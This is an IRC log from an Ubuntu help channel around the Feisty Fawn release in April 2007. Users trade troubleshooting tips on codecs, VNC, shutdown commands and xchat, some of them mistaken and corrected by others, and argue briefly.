[07:31] <ubotu> squiggie: pastebin is a service to post large texts so you don't flood the channel. The Ubuntu pastebin is at http://paste.ubuntu-nl.org (make sure you give us the URL for your paste - see also the #ubuntu channel topic)
[07:31] <r4v5> so i have the alternative cd but dist-upgrade still wants an X session.
[07:31] <becj> BaAckUp: but i have been already...
[07:31] <n00bie> Nubbie, wrong copy
[07:31] <Nubbie> newseeker: uninstall the vlc plugin, and install the gstreamer plugin for firefox.
[07:31] <alien__> ubotu: i dont use gui only terminal, mm my /etc/hosts i set it to coban.alien.biz and when i do 'hostname' it shows me coban but when i do 'hostname -f' it shows me coban.alien.biz.. i need to make them same.. im missing something
[07:32] <n00bie> Nubbie, here's the link http://www.pastebin.ca/445947
[07:32] <BaAckUp> becj what version of unbuntu do you have
[07:32] <n00bie> mungewell, here's the link http://www.pastebin.ca/445947
[07:32] <Flannel> becj: the package is xserver-xorg
[07:32] <newseeker> Nubbie, install mozilla-gstreamer?
[07:32] <alien__> ubotu: just want to get more specific of my problem
[07:32] <mike> Josesordo: did they have the package in edgy
[07:32] <Nubbie> n00bie: so your bluetooth is detected i saw that
[07:32] <Nubbie> newseeker: yeah.
[07:32] <DennisR> NickGarvey: {S Chronic
[07:32] <Flannel> BaAckUp: please stop giving bad advice.  If you don't know the answer, that's ok.  Just don't answer.
[07:32] <n00bie> Nubbie, but doesn't function as well
[07:32] <squiggie> r4v5, http://paste.ubuntu-nl.org/16196/
[07:32] <becj> BaAckUp: dapper 6.06 (installed from the live cd 650mb~~)
[07:32] <DennisR> NickGarvey: What up gangster.
[07:32] <peepsalot> alien__, ubotu is not a real person, it is a bot.  you can't hold a conversation with it
[07:33] <Nubbie> n00bie: i guess you need to set it up. which i have no experience doing because i don't use bluetooth.
[07:33] <alien__> oh what
[07:33] <n00bie> Nubbie, hciconfig nothing appears a device
[07:33] <Nubbie> !bluetooth > n00bie
[07:33] <alien__> hehe
[07:33] <mungewell> bugger. I've just worn through the top of my thinkpad nipple!
[07:33] <alien__> hehe =) i knew that
[07:33] <BaAckUp> my problem :my xchat is not being able to connect on networks:It doesnt show any error but it doesnt connect it tries on default ports i think firewall or something else is stopping connection
[07:33] <Nubbie> n00bie: see if you can get that set up that way.
[07:33] <peepsalot> !ubotu | alien__
[07:33] <ubotu> alien__: I am ubotu, all-knowing infobot. You can browse my brain at http://bots.ubuntulinux.nl - Usage info: http://wiki.ubuntu.com/UbuntuBots
[07:33] <teb> peepsalot:   you could, but it wouldn't be an intelligent one
[07:33] <alien__> peepsalot: what do u peep =)
[07:33] <becj> BaAckUp: i think this don't come with this version
[07:33] <alien__> hes a good bot
[07:33] <r4v5> oh, I'm an idiot. I just have to uncomment one line and it'll use a console.
[07:33] <n00bie> Nubbie, ok
[07:33] <alien__> the best bot ive seen so far =))
[07:33] <newseeker> Nubbie, does it play mpeg, avi and wmv vifeos on firefoc?
[07:33] <peepsalot> alien__, i peep xchat logs of course
[07:33] <alien__> ok ubotu i edit my hostname =) haha
[07:33] <alien__> why xchat logs? hehe
[07:33] <apus> when I run amarok nothing happens
[07:34] <peepsalot> whynot
[07:34] <Nubbie> newseeker: wmv all the way up to version 8, 9-10 with the fluendo plugins.
[07:34] <apus> waitpid(16453, 0xbfd042a0, WNOHANG)     = 0
[07:34] <apus> nanosleep({0, 100000}, NULL)            = 0
[07:34] <apus> over and over
[07:34] <BaAckUp> man i have same version @ becj ... it has xserver.. xserver is main package which starts graphics so it comes with live cd
[07:34] <squiggie> r4v5, what do you mean?
[07:34] <Nubbie> apus: amarok --debug maybe?
[07:34] <Nubbie> apus: and maybe you should ask in #amarok
[07:34] <newseeker> Nubbie, so please tell me what I need to install.  gstreamer and fluendo?
[07:34] <BaAckUp> becj @ go to terminaml step1: sudo bash step2: yourpassword step3: dpkg-reconfigure xserver-xorg
[07:35] <becj> BaAckUp: huumm, and how i can configure my vga to mplayer works correcly?
[07:35] <becj> ok
[07:35] <r4v5> squiggie: my problem, trying to upgrade my laptop. it was a chicken-and-egg issue where it needed to remove an x file and the upgrade program was an x application, but it does console ui too.
[07:35] <n00bie> Nubbie,  does't work unforunately
[07:35] <Nubbie> newseeker: i'm saying if you NEED wmv 9-10 support you need to buy a gstreamer plugin from fluendo.
[07:35] <ardchoille> BaAckUp: You do't need to "sudo bash", just: sudo dpkg-reconfigure xserver-xorg
[07:35] <newseeker> Nubbie, did you say BUY?
[07:35] <becj> BaAckUp: tanxs man, this command work fine
[07:35] <BaAckUp> okey becj
[07:36] <squiggie> r4v5, ohh, thought you were referring to my netstat output
[07:36] <alien__> peepsalot: ok i got it they both match now .../etc/hostname... and /etc/hosts.... now can you pleas tell me what the EXACT proper command is to shut down Ubuntu server 6.10 Edgy and is it sudo poweroff .. ok use to shut it completely?
[07:36] <BaAckUp> i suggest u backup ur xserver before playing with it
[07:36] <Flannel> becj: sudo dpkg-reconfigure xserver-xorg
[07:36] <Nubbie> newseeker: its what happens every time you buy a copy of windows, you buy the license to use all of their proprietary software.
[07:36] <newseeker> Nubbie, E: Couldn't find package mozilla-gstreamer
[07:36] <alien__> peepsalot: shutdown and restart
[07:36] <becj> BaAckUp: but do you know about this driver? (radeon 9200) to open a video in mplayer? here, i will play and only run the sound, the video nothing appears
[07:36] <Nubbie> !mozilla-gstreamer
[07:36] <peepsalot> alien__, sudo shutdown -h now
[07:36] <Nubbie> !info mozilla-gstreamer
[07:36] <ubotu> Package mozilla-gstreamer does not exist in edgy, edgy-backports, edgy-seveas
[07:36] <newseeker> Nubbie, i have everything in sources.list. so why does it say E: Couldn't find package mozilla-gstreamer?
[07:36] <Nubbie> hrmm.
[07:37] <alien__> peepsalot: what does shutdown -h now command do?
[07:37] <Nubbie> newseeker: search for it.
[07:37] <alien__> peepsalot: exactly heh
[07:37] <newseeker> Nubbie, why are you trolling?
[07:37] <peepsalot> alien__, also, man shutdown.  i think for restart you use -r
[07:37] <BaAckUp> becj@ you need dependent libraries dont them all and it should be working fine
[07:37] <alien__> peepsalot: ok
[07:37] <Nubbie> newseeker: how exactly am i trolling? by not spoon feeding you?
[07:37] <BaAckUp> download them all @ becj*
[07:37] <newseeker> Nubbie, you are trolling and giving misleading and time wasting guidance
[07:37] <Plenum> evening all, is there any way to get the Makefile that is used by a dapper package?  I want to see how this certain app was compiled/set up...
[07:38] <newseeker> Nubbie, its obvious you dont have a clue, and make it up as you go, guessing. :( trolling and wasting peoples time
[07:38] <Nubbie> newseeker: how is that? fluendo needs to pay for a license to decode wmv 9 and 10 codecs.
[07:38] <mungewell> deb-src packagename
[07:38] <peepsalot> alien__, -h option is for "halt" it means to power down the machine after stopping all processes.  "now" is the time you are telling it to do the shutdown, you can optionally specify to shutdown at some time in the future
[07:38] <Seveas> newseeker, down boy...
[07:38] <newseeker> Seveas, ok.
[07:38] <DVS01> how do i edit my gnome session from within a failsafe session?
[07:38] <sanityx> I can't seem to get feisty booted. It just goes to a black screen. Eventually the cd-read light goes off.
[07:38] <Nubbie> newseeker: figure it out yourself next time if the help you receive is not appreciated.
[07:38] <r4v5> squiggie: when you start vncserver, what syntax are you using
[07:38] <Seveas> Nubbie, spoke the truth, that you didn't understand him isn't totally his fault
[07:38] <Plenum> does the source package contain the makefile that is used?
[07:38] <Nubbie> :l
[07:38] <Seveas> Nubbie, btw: it's totem-mozilla iirc :)
[07:38] <wastrel> Plenum:  apt-get source package
[07:39] <newseeker> Seveas, all I wanted to do was play mpeg, avi files through firefox.  And he gave me all this time wasting wrong instructions
[07:39] <becj> BaAckUp: yah.. thanxs for help man
[07:39] <r4v5> squiggie: you should have a line with -interface <ip address of interface> or perhaps even -interface 0.0.0.0 will work
[07:39] <Seveas> newseeker, no, he showed you how to do it in a way that's lgal everywhere
[07:39] <Nubbie> seveas: thanks, forgot, didn't remember what it was called.
[07:39] <Tomcat_> Plenum: The source package makes it possible to compile exactly the binary package that's in the repos.
[07:39] <Tomcat_> Plenum: It should contain all patches, Makefiles, and whatever else.
[07:39] <Seveas> newseeker, there are quicker ways, but they're legally questionable in some places
[07:39] <newseeker> Seveas, no he didnt!  he told me to apt-get install mozilla-gstreamer. but it doesnt even exist in Edgy
[07:39] <Plenum> Thanks all, will grab and take a look
[07:39] <Nubbie> newseeker: another suggestion i have for you is the mplayer plugin for firefox.
[07:40] <newseeker> !info mozilla-gstreamer
[07:40] <ubotu> Package mozilla-gstreamer does not exist in edgy, edgy-backports, edgy-seveas
[07:40] <newseeker> Nubbie, does it need any decoders?
[07:40] <Seveas> newseeker, h just forgot the bloody package name, try showing some initiative and searching yourself...
[07:40] <Nubbie> newseeker: you asked if that was correct, i wasn't sure. i told you to try it, what harm did I cause?
[07:40] <newseeker> Nubbie, ok np
[07:40] <r4v5> the netstat output you gave before said that it was only binding on localhost, which means any connections to the vnc server that weren't from the same computer were ignored.
[07:40] <newseeker> Nubbie, ill try the mplayer plguin
[07:40] <Nubbie> newseeker: it uses mplayer for playback. i believe mplayer can decode wmv 9s.
[07:40] <Josesordo> when is the release day of the official version of feisty ??
[07:40] <corden> guys where can i edit the start up file?
[07:41] <newseeker> Nubbie, the mplayer says file not supported. needed codecs or something
[07:41] <newseeker> Nubbie, seems it cant play mpeg files
[07:41] <epod> Josesordo, afaik the 19th
[07:41] <corden> i cannot log into my personal account, im in root acount now
[07:41] <mungewell> Josesordo - it's supposed to be the 19th. Don't know if it's delay
[07:41] <Nubbie> newseeker: i don't know what's up with your mplayer then.
[07:41] <newseeker> Nubbie, any ideas how to get the codecs for mplayer plugin?
[07:41] <alien__> peepsalot: excellent manual explains it now .. but how would i enter a time vaule if i wanted to shut it down in two min? for example sudo shutdown -r 22:58 or how ?? and thats -r is restart
[07:42] <Nubbie> newseeker: mplayer shouldn't need codecs to be installed separately.
[07:42] <newseeker> Nubbie, I typed: sudo apt-get install mozilla-mplayer
[07:42] <Josesordo> mm..ok
[07:42] <Josesordo> I'll wait...
[07:42] <Nubbie> mungewell: i believe it's been delayed to the 28th.
[07:42] <r4v5> alien__: for two minutes, you'd do shutdown -h 2 or -r 2
[07:42] <newseeker> Nubbie, but it says cant play files, needdd codecs or something
[07:42] <Josesordo> when is release..how to update?...I should to format again?
[07:42] <peepsalot> alien__, i think you just give it a number, in minutes
[07:42] <newseeker> !mplayer codecs
[07:42] <ubotu> Sorry, I don't know anything about mplayer codecs - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[07:43] <newseeker> !codecs
[07:43] <ubotu> For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[07:43] <squiggie> r4v5, when I start it from console, I do a vncserver :1
[07:43] <ubd> how can i add enlightenment option to kde?
[07:43] <alien__> peepsalot: r4v5: ok, how can it be in hours?
[07:43] <peepsalot> alien__, this option is mostly for systems where you might have remote users logged in, to give them time to finish up.
[07:43] <peepsalot> alien__, multiply times 60 ;-)
[07:43] <alien__> peepsalot: defenitely planing having users on my box
[07:43] <r4v5> squiggie: so then vncserver -interface 0.0.0.0 :1 or something like that should work
[07:43] <alien__> so 600 for hehe six hours?
[07:44] <T0uCH> hi all.. I've just see that and i am wondering if someone can give me some infos about BERYL ??
[07:44] <alien__> peepsalot: i guess it makes sense 2400 is 24 and 12 =_)__
[07:44] <alien__> peepsalot: heh
[07:44] <mungewell> Josesordo - most people 'apt-get distupdate', however I prefer to reinstall from scratch to clean out the system/
[07:44] <newseeker> Nubbie, mplayer says: You do not have a decoder installed to handle this file. You might need to install the necessary plugins.
[07:44] <Nubbie> alien__: #ubuntu-effects
[07:44] <newseeker> Nubbie, any ideas what to do?
[07:44] <Flannel> T0uCH: #ubuntu-effects for beryl support
[07:44] <alien__> peepsalot: aite i reboote =)
[07:44] <ubd> how can i add enlightenment option to kde login screen?!?!?1*!?!*@rw
[07:44] <alien__> Nubbie: aite ill go there toooo =))
[07:44] <Nubbie> newseeker: did you install mplayer by hand?
[07:44] <alien__> but i gota reboot first
[07:45] <alien__> #ubuntu-effects cool =)
[07:45] <newseeker> Nubbie, I typed: sudo apt-get install mozilla-mplayer
[07:45] <newseeker> Nubbie, isnt that right?
[07:45] <Nubbie> newseeker: k do you have mplayer installed?
[07:45] <squiggie> r4v5, the session started, however it still won't let me connect
[07:45] <Nubbie> newseeker: thats kinda a given.
[07:45] <BaAckUp> my problem :my xchat is not being able to connect on networks:It doesnt show any error but it doesnt connect it tries on default ports i think firewall or something else is stopping connection
[07:45] <newseeker> Nubbie, not sure
[07:45] <peepsalot> alien__, no, i think 600 would be ten hours
[07:45] <Nubbie> baackup: does the rest of your network connections work?
[07:45] <BaAckUp> yeah
[07:46] <Josesordo> mungewell, clean out the system....but, dont have to install again the programs and another things :s
[07:46] <BaAckUp> i m being able to connect on anywebsites and i can connect to yahoo messenger and msn too
[07:46] <newseeker> Nubbie, mplayer is already the newest version.
[07:46] <Nubbie> baackup: then you set up something wrong in these programs. IRC uses http.
[07:46] <Nubbie> baackup: i believe...
[07:46] <newseeker> Nubbie, it seems mplayer is installed already
[07:46] <wastrel> irc doesn't use http
[07:46] <Nubbie> newseeker: i have no clue then. mplayer should have all plugins by default. what kind of file are you trying to play?
[07:46] <BaAckUp> yeah it doesnt use hhtp i think
[07:47] <mungewell> Josesordo - yes. but I kinda know what I use, I find stuff gets installed to try and then is left to rot......
[07:47] <newseeker> Nubbie, mpeg files. any doesnt work
[07:47] <Nubbie> wastrel: port 80....
[07:47] <teb> so i compiled rhythmbox 0.10.0 when the next version comes out do i need to uninstall it somehow or can i just compile and make install again and it'll all be ok
[07:47] <BaAckUp> my xchat tries to connect on network by port 6667
[07:47] <newseeker> Nubbie, mplayer keeps saying: You do not have a decoder installed to handle this file. You might need to install the necessary plugins.
[07:47] <wastrel> irc uses neither http port nor http protocol nubbie
[07:47] <Nubbie> teb: if you are installing the new version manually you need to uninstall the package.
[07:47] <Nubbie> wastel: what port is it using?
[07:47] <teb> Nubbie: and how is this accomplished
[07:48] <Nubbie> teb: sudo apt-get remove rhythmbox
[07:48] <wastrel> Nubbie:  like BaAckUp says,  6667 is the default
[07:48] <teb> Nubbie: no, i compiled it myself, no package
[07:48] <sanityx> Anybody have an Inspiron 1501?
[07:48] <Nubbie> wastrel: ohh pff i recall that.
[07:48] <Nubbie> baackup: is port 6667 blocked on your router?
[07:49] <newseeker> Nubbie, you saying you have no idea why mplayer doesnt play mpeg files?
[07:49] <wastrel> BaAckUp:  can you   telnet irc.freenode.net 6667
[07:49] <Nopal> upblo joton
[07:49] <Nubbie> !anybody | sanityx
[07:49] <ubotu> sanityx: A large amount of the first questions asked in this channel start with "Does anyone/anybody..."  Why not ask your next question (the real one) and find out?
[07:49] <pblo> eo
[07:49] <BaAckUp> wait
[07:49] <BaAckUp> lemme see
[07:49] <pblo> :p
[07:49] <newseeker> Nubbie, i found a website that says I need to type: sudo apt-get install gstreamer0.10-pitfdll gstreamer0.10-ffmpeg gstreamer0.10-plugins-bad gstreamer0.10-plugins-bad-multiverse gstreamer0.10-plugins-ugly gstreamer0.10-plugins-ugly-multiverse gxine libxine-main1 libxine-extracodecs ogle ogle-gui
[07:49] <Nubbie> newseeker: i have no idea why YOUR mplayer doesn't play mpegs.
[07:49] <newseeker> Nubbie, the website says WHY you are wrong!  look what i need to install!  its just NOT mplater thats needed
[07:49] <Nubbie> newseeker: yeah thats if you're going to use the gstreamer plugin, which i initally suggested.
[07:49] <BaAckUp> i dont think my router has blocked port 6667 because i can connect through windows on irc
[07:50] <newseeker> Nubbie, the gstreamer plugin command you gave me was in err
[07:50] <sanityx> Ok, has anybody been able to get feisty to boot on an inspiron 1501. And I've already asked in #ubuntu+1
[07:50] <Nubbie> newseeker: you didn't think the gstreamer idea was good, in fact you accused me of trolling. so i told you to try the mplayer route.
[07:50] <newseeker> Nubbie, read up more and learn more before you give others insutructuions. thanks
[07:50] <BaAckUp> newseeker dont be rude man he is trying to help
[07:50] <newseeker> Nubbie, thats a lie!  I followed your adfvice and ubuntu said the apt-get install gstreamer didnt exist
[07:51] <P_Kable> Comment ca marche compiz ?
[07:51] <BaAckUp> i dont think my router has blocked port 6667 because i can connect through windows on irc
[07:51] <P_Kable> comment je fais tourner mon cube  ?
[07:51] <Nubbie> newseeker: being rude gets you nowhere. i know what i'm talking about. i TOLD you to install the gstreamer plugin. because you typed the wrong thing into the terminal then, you accuse me of trolling. even after that i still try to help you.
[07:51] <DVS01> is there a file i can edit to do the gui equivalent of "System > Preferences > Sessions > Startup Programs"?
[07:51] <Nubbie> !fr | p_kable
[07:51] <ubotu> p_kable: Allez a #ubuntu-fr ou #kubuntu-fr pour de l'aide et de la discussion en francais.
[07:51] <P_Kable> sorry
[07:51] <P_Kable> mistgake
[07:51] <T0uCH> #kubuntu-fr
[07:52] <BaAckUp> oh! i came here for help .. and now i m helping others
[07:52] <T0uCH> doh!
[07:52] <tekm8> sup all
[07:52] <Nubbie> P_kable: also, for help with beryl, #ubuntu-effects
[07:52] <Nubbie> p_kable: bonne chance ;)
[07:52] <mungewell> DVS01 - system deamons are normally started from /etc/init.d/... you probably want to investigate session for you Xserver. ie. start applications when you log in.
[07:52] <r4v5> BaAckUp: welcome to the internet
[07:53] <Nubbie> DVS01: are you still having problems with gdesklets?
[07:53] <P_Kable> Actually I just upgraded to feisty but it seems like beryl is gone ...
[07:53] <P_Kable> I have compiz instead
[07:53] <DVS01> Nubbie: yeah a little.. they halt the startup process
[07:53] <BaAckUp> r4v5 haha
[07:53] <P_Kable> How can I have the cube turning ?
[07:53] <jeduan> if i do dist-upgrade and then dpkg-reconfigure everything is it like i had installed feisty from scratch?
[07:54] <Nopal> !info iPod
[07:54] <teb> jeduan: not exactly, there's always a little bit of trash left behind
[07:54] <ubotu> ipod: tool for retrieving informations from iPods. In component universe, is optional. Version 0.5.1-0ubuntu1 (edgy), package size 14 kB, installed size 64 kB
[07:54] <Nubbie> DVS01: k in your script that your beryl GDM entry leads too, add gdesklets BEFORE beryl.
[07:54] <squiggie> anyone else that is a vnc guru, can you help?
[07:55] <tekm8> what's some good tech sites? i'm tired of arstechnica (as i only see mac stuff anymore) and slashdot (for all the unneeded ms bashing and straight out lies)
[07:55] <BaAckUp> my ex chat dont work :((
[07:55] <Nubbie> squiggie: i think people are having difficult understanding exactly what you're trying to achieve... can you clarify?
[07:55] <DVS01> Nubbie: my beryl starts via the session manager's 'startup programs' list.. and it doesnt let me change the order of those programs.. is there a file i can edit?
[07:55] <Flannel> DVS01: #ubuntu-effects for beryl support, thanks
[07:55] <Nubbie> !offtopic | tekm8 (check out engadget)
[07:55] <ubotu> tekm8 (check out engadget): #ubuntu is the Ubuntu support channel, #ubuntu+1 supports the development version of Ubuntu and #ubuntu-offtopic is for random chatter. Welcome!
[07:55] <clouder`grr> Vista has this new feature where you can control volume of programs seperately.  Is this possible in Ubuntu?  What I really want to do is turn the volume off in Firefox so that Flash movies don't scream in my ear when I'm listening to music.
[07:55] <DVS01> this isnt for beryl, i just want to edit my startup programs by editing a file, instead of using the gui
[07:56] <Nubbie> clouder`grr: you can right click on a flash and disable sound
[07:56] <Nubbie> DVS01: i thought you were having a problem with gdesklets jamming up your system on login
[07:56] <tekm8> Nubbie, i know it was offtopic, just got fed up with it and had to let it out :( ....sorry
[07:56] <DVS01> Nubbie: that too
[07:56] <DVS01> Nubbie: i dont see what that has to do with beryl though..
[07:57] <kbidd> I read that the 7.04 desktop is being released tomorrow -- is there a laptop edition, and if so, is it being released tomorrow as well (I have only ever run ubuntu on a desktop before, so i don't even know if there is a seperate "laptop" edition).
[07:57] <wastrel> clouder`grr:  i doubt it.
[07:57] <BaAckUp> !irc
[07:57] <ubotu> irc is Internet Relay Chat - Ubuntu IRC clients: xchat (http://www.ubuntulinux.org/wiki/XChatHowto), gaim (http://help.ubuntu.com/community/GaimHowto), Konversation (http://konversation.berlios.de/docs/), irssi (console) (https://help.ubuntu.com/community/Irssi) - Also see http://help.ubuntu.com/community/InternetRelayChat and !guidelines
[07:57] <taime1> how can i get my usb mic working in ubuntu?
[07:57] <sanityx> kbidd, desktop/laptop same thing
[07:57] <squiggie> all I'm trying to do for now is connect to my server remotely via vnc. If I enable remote desktop via the gnome gui, I can then go back to my laptop and connect using vncviwer. However, I don't what to always have to be in front of my monitor and start the vncserver via gnome. So, I ssh into my server from my laptop to get a console and start vncserver. then I run vncviewer to connect and it fails to connect.
[07:57] <densin> how to reconfig to CMOS time to store as UTC? thank for advance
[07:57] <kbidd> sanityx, thanks
[07:57] <sanityx> kbidd, Its just called desktop edition because its not for servers.
[07:57] <Nubbie> DVS01: gdesklets generally bogs down your desktop, add beryl on top of that, i thought you were trying to have gdesklets start before beryl to avoid that slowdown.
[07:58] <Flannel> densin: Go to your BIOS, change the time to UTC.  inform ubuntu that you're now using UTC as hardware clock
[07:58] <Nubbie> kbidd: feisty has been delayed i think.
[07:58] <kbidd> sanityx, makes sense... now to decide if i can wait another day for it, or i just install the beta now :P
[07:58] <Flannel> densin: and actually, if you do the latter, then update your time, the former will happen automatically
[07:58] <densin> flamesrock: how to inform ubuntu?
[07:58] <kbidd> Nubbie, when did that happen... on ubuntu's website it still says the release date is tomorrow
[07:58] <sanityx> kbidd, It wont even boot for me
[07:59] <kbidd> well, the 19th... tomorrow here, but might be 2 days depending on where you guys live
[07:59] <kbidd> sanityx, guess i wait then :P
[07:59] <Nubbie> kbidd: really? i heard it was being delayed until the 28th. i'm running it right now, and there were some kernel problems last week, i thought that the rumours might be true because of that.
[07:59] <sanityx> mm
[07:59] <BaAckUp> feisty has some issues
[07:59] <DVS01> Nubbie: main reason i want gdesklets to start first is because if they dont, they end up getting 3d effects and flying off of the desktop, which i dont want. so this really isnt much of a beryl issue as it is an issue of getting the startup order set up properly
[07:59] <mungewell> milestone page for 7.04 still reckons release in 18 hours....
[08:00] <mike> i get wierd freezes in feisty
[08:00] <kbidd> Nubbie, not sure but from the website, "LONDON, April 16, 2007  Canonical Ltd., the commercial sponsor of Ubuntu, announce the availability of Ubuntu 7.04 Desktop Edition on April 19."
[08:00] <BaAckUp> yeah edgy is better
[08:00] <densin> flamesrock: any setup-time script? or manual edit /etc/config ?
[08:00] <BaAckUp> feisty has alot of more work to be done yet .. alot of problems in feisty
[08:00] <Nubbie> DVS01: okay so add an exception in beryl not to run any effects on them. ask in #ubuntu-effects. its very possible to have beryl ignore gdesklets.
[08:00] <DVS01> Nubbie: i guess that's another way to do it. thanks
[08:00] <BaAckUp> Nubbie: do you work for ubuntu ?
[08:00] <mungewell> no mention otherwise on the dev-announce list.... so get your drinking shoes on ;-)
[08:01] <Nubbie> DVS01: no problem.
[08:01] <darx> my cpu doesn't scale properly details http://ubuntuforums.org/showthread.php?p=2472453#post2472453 is it possible to load a custom freq_table module and if yes which one and how :-/
[08:01] <mike> for some reason in feisty my mouse and keyboard will quit responding.
[08:01] <Nubbie> baackup: no i do not :)
[08:01] <squiggie> does that explain in clearly for everyone?
[08:01] <drayen> i have ubuntu 6.10 and nm-applet as well as wifiradar : but i still cant connect to a weak wireless signal that windows (what im in at the moment) has no problems with?? is there a command line tool to connect that wont give up so easly?
[08:01] <BaAckUp> i m developing my own version of nix :D "omkara"
[08:02] <tekm8> mike, same here, along with freezing up when trying to log out.
[08:02] <pkundu> hi what is the best chm viewer for ubuntu
[08:02] <Nubbie> squiggie: let me read through it.
[08:02] <BaAckUp> just documenting the concept and how it would be hehe
[08:02] <mike> tekm8: yeah, my screen goes black and pop's back up and hangs
[08:02] <Flannel> pkundu: xchm is one.
[08:02] <T0uCH> how i will be able to run on feisty fawn ( when released) ? Update, download...??
[08:02] <mungewell> squiggie - when you connect via ssh check what DISPLAY is being set to...
[08:03] <Nubbie> squiggie: do you have the option set in the Desktop Sharing utility to require your confirmation before allowing the session to start? this could be your problem
[08:03] <BaAckUp> Mike install back 6.10 or you will just end up sorting the problems
[08:03] <pkundu> thx
[08:03] <tekm8> mike, yeah, it'll go black, then show the, err, splash page and just sit there.
[08:03] <Nubbie> squiggie: its not that vnc isn't running, its that it might be ignoring all requests to view the screen until there is user intervention on the server side.
[08:03] <Josesordo> someone know how to change the propetary or group of NTFS partition?..I've try in root but nothing =(
[08:03] <densin> how to re-config time-setup after install ubuntu?
[08:03] <squiggie> Nubbie, Ahh, I thought of that and disabled it
[08:04] <Nubbie> squiggie: hrmm... :l i'm still baffled then.
[08:04] <tuna-fish> I just checked my disk space usage, and in /var/log there are 3 files that take 3.6 gigs each, anyone know what they are? kem.log.0, syslog.0, messages.0
[08:04] <Nubbie> squiggie: you're absolutely sure though?
[08:04] <squiggie> Nubbie, I've checked it 5 times :)
[08:05] <Nubbie> tuna-fish: have you not restarted your computer in 5 years? lol thats insane.
[08:05] <tekm8> speaking of these freezes, does anyone else experience them?
[08:05] <taime1> i have a logitech usb mic.. running edgy... but i dont have any sound....
[08:05] <taime1> can this be fixed?
[08:05] <Nubbie> tekm8: doing what.....
[08:05] <ubd> how can i add enlightenment option to kde login screen?!
[08:05] <mungewell> squiggie - it may be that ssh is allocating a different DISPLAY setting so that it (ssh) can X-forward, meaning that apps started on the remote machine display on local.
[08:05] <tuna-fish> Nubbie: well, in a couple of weeks or so
[08:05] <BustedX> BaAckUp: Irssi, Epic...
[08:05] <Nubbie> taime1: is it detected as a microphone in Volume Control?\
[08:05] <tekm8> Nubbie, freezing when logging out, just hangs at the ?splash screen
[08:06] <solid_liq> !jfs
[08:06] <ubotu> Sorry, I don't know anything about jfs - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[08:06] <tuna-fish> but, is there some automatic way to delete them, or should I just go rm
[08:06] <Nubbie> taime1: also, change device and see if it's input is muted.
[08:06] <Josesordo> the gaim 2.00beta3.1 is bad, how to update a new version?
[08:06] <Nubbie> tuna-fish: that should be cleared out each reboot i think.
[08:06] <tuna-fish> they aren't...
[08:06] <squiggie> mungewell, I do not know what you mean
[08:06] <Nubbie> josesordo: what version of ubuntu are you running?
[08:07] <Josesordo> edgy eft
[08:07] <foug> anyone know how i can get beryl to use the gnome application window switch? I've asked in #beryl and no one seems to know
[08:07] <alien__> peepsalot: well i had to  call mye ompleyees at work to reboot the box, because when i did and when i always do sudo shutdown -r it gets stuck, now it gets stuck at the place where it displays the ubuntu logo name and a loading bar empty bar .. stuck for five minutes +
[08:07] <mungewell> squiggie - type 'set | grep DISPLAY' after you have ssh'ed to the remote machine.
[08:07] <Nubbie> josesordo: there is a gaim2beta6 out, maybe it's in edgy's backports.
[08:07] <alien__> peepsalot: it sux i cant even reboot without touching it.. :(
[08:08] <Nubbie> alien__: the vmnet thing?
[08:08] <squiggie> mungewell, should i get output?
[08:08] <peepsalot> alien__, stuck while shutting down or during the boot up?
[08:08] <alien__> peepsalot: shuting down, boot up is awsome, shuting down and restarting is ap roblem
[08:08] <da_shrewd> flannel: already paste, but when i upgrade and update, there is no folder of apache2
[08:09] <mike> foug: what do you mean "application windows switch"
[08:09] <mungewell> squiggie - if you have a DISPLAY variable set. If not type 'export DISPLAY=0.0' and then 'xeyes'
[08:09] <foug> mike: when you alt-tab
[08:09] <Josesordo> no nubbie, in synaptic dont have gaim2beta6 =(
[08:09] <taime1> do usb mics not workj in ubuntu?
[08:09] <Flannel> da_shrewd: Right.  There won't be.  But now you've got a working system again.  so, `sudo apt-get remove --purge apache2-common && sudo apt-get install apache2`
[08:09] <Nubbie> josesordo: have you enabled edgy backports?
[08:09] <squiggie> mungewell, after xeyes I get Cant open display 0.0
[08:10] <alien__> peepsalot: i have ubuntu server 6.10 edgy, but i installed gui with (ubuntu-desktop)
[08:10] <Nubbie> josesordo: also, were you planning on upgrading to feisty fawn? its being released quite soon.
[08:10] <alien__> Nubbie: how soon?
[08:10] <Nubbie> josesordo: gaim2beta6 is default in feisty fawn.
[08:10] <Nubbie> alien___: either tomorrow, or near the end of the month, i'm not sure.
[08:10] <mike> foug: did you try the beryl settings manager in windows
[08:10] <foug> mike: yea when i switch to the metacity one beryl doesn't work anymore.
[08:10] <da_shrewd> flannel: this message appear apache2 is already the newest version.
[08:10] <mike> windows management
[08:10] <Josesordo> well..I'll wait the official version of feisty ;)
[08:10] <mungewell> squiggie - this means that ssh session does not have permission to connect to the local X server...
[08:11] <alien__> Nubbie: ok, can you help us figure out my restartign and shutting down problem?
[08:11] <Nubbie> foug: yes, because starting metacity replaces beryl.
[08:11] <Nubbie> alien__: what's causing it?
[08:11] <foug> Nubbie: yes
[08:11] <mike> foug: open your beryl setting, right click the diamond and click beryl setting manager
[08:11] <apus> I get no sound in kubuntu, but i do during booting and logging off
[08:11] <mungewell> squiggie - what exactly do you type to start the 'vncserver' which provides the remote desktop capability?
[08:11] <Nubbie> da_shrewd: you need to uninstall apache, then reinstall it.
[08:11] <Flannel> da_shrewd: `sudo apt-get remove --purge apache2-common`
[08:11] <Flannel> da_shrewd: what does that give you?
[08:11] <alien__> Nubbie: peepsalot: well i had to  call mye ompleyees at work to reboot the box, because when i did and when i always do sudo shutdown -r it gets stuck, now it gets stuck at the place where it displays the
[08:12] <peepsalot> alien__, feisty gets release thursday according to ubuntuforums.org
[08:12] <alien__>                  ubuntu logo name and a loading bar empty bar .. stuck for five minutes +
[08:12] <foug> mike: k
[08:12] <Cosmo_> I installedthe LPR driver for my printer(brother intellifax 1840C) and it lists it,  however when I try to print a test page it gives me an error /usr/bin/lpr -P 'FAX1840C'  /usr/share/apps/kdeprint/testprint.ps execution failed with message  /usr/bin/lpr : the printer or class was not found anyone know how to fix this?
[08:12] <mike> foug: once your there click the window management tab
[08:12] <alien__> peepsalot: ok
[08:12] <peepsalot> alien__, sorry I don't know why that would happen.
[08:12] <da_shrewd> flannel:Package apache2-common is not installed, so not removed
[08:12] <foug> mike: si
